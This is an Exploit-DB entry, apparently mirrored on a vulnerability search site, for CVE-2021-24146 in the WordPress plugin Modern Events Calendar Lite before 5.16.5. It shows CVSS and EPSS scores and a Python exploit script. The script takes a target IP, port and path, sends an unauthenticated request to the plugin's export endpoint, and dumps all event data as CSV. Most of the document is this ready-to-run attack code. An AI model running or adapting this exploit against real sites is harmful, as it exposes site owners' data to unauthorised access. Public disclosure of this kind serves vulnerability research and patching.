Lucene search

K
exploitdbRon JostEDB-ID:50084
HistoryJul 02, 2021 - 12:00 a.m.

Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)

2021-07-0200:00:00
Ron Jost
www.exploit-db.com
236

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

0.026 Low

EPSS

Percentile

90.4%

# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24146
# CWE: CWE-863, CWE-284
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md

'''
Description:
Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,
versions before 5.16.5, did not properly restrict access to the export files,
allowing unauthenticated users to exports all events data in CSV or XML format for example.
'''


'''
Banner:
'''
banner = """
   _______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____
  / ____/ |  / / ____/   |__ \ / __ \__ \<  /    |__ \/ // /<  / // / / ___/
 / /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \ 
/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / 
\____/  |___/_____/    /____/\____/____/_/     /____/ /_/ /_/  /_/  \____/  
                                                                                                                                                                                                                                                                                                          
            * WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)
            * @Hacker5preme                                                                                                                            
                            
"""
print(banner)


'''
Import required modules:
'''
import requests
import argparse
import csv

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH


'''
Exploit:
'''
print('')
print('[+] Exported Data: ')
print('')
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'
answer = requests.get(exploit_url)
decoded_content = answer.content.decode('utf-8')
cr = csv.reader(decoded_content.splitlines(), delimiter=',')
my_list = list(cr)
for row in my_list:
    print(row)

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

0.026 Low

EPSS

Percentile

90.4%